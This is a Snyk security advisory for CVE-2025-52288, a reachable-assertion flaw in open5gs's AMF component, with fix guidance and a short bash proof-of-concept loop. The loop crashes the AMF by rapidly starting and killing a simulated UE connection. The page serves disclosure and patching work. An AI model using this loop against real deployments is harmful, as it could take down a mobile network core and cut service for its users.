Reachable Assertion Affecting open5gs/open5gs package, versions [,2.7.6)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-OPEN5GSOPEN5GS-12671225
  • published17 Sept 2025
  • disclosed8 Sept 2025
  • creditJunMan Qin, Hao Zheng, Yuanhao Li, Qiang Fu, Jiajia Liu

Introduced: 8 Sep 2025

NewCVE-2025-52288  (opens in a new tab)
CWE-617  (opens in a new tab)

How to fix?

Upgrade open5gs/open5gs to version 2.7.6 or higher.

Overview

Affected versions of this package are vulnerable to Reachable Assertion via the ngap_build_downlink_nas_transport function in the Access and Mobility Management Function (AMF) component. An attacker can cause the process to terminate unexpectedly by repeatedly sending UE connect and disconnect message sequences.

PoC

while true; do
    sudo ./nr-ue -c ../config/open5gs-ue.yaml > output.log 2>&1 &
    #sudo ./nr-ue -c ../config/open5gs-ue.yaml
    process_pid=$!


    sleep_time=$(awk -v seed="$RANDOM" 'BEGIN {srand(seed); print 0 + rand() * 0.1}')
    sleep "$sleep_time"

    kill $process_pid

    sleep_time=$(awk -v seed="$RANDOM" 'BEGIN {srand(seed); print 0.1 + rand() * 0.1}')
    sleep "$sleep_time"
done

CVSS Base Scores

version 4.0
version 3.1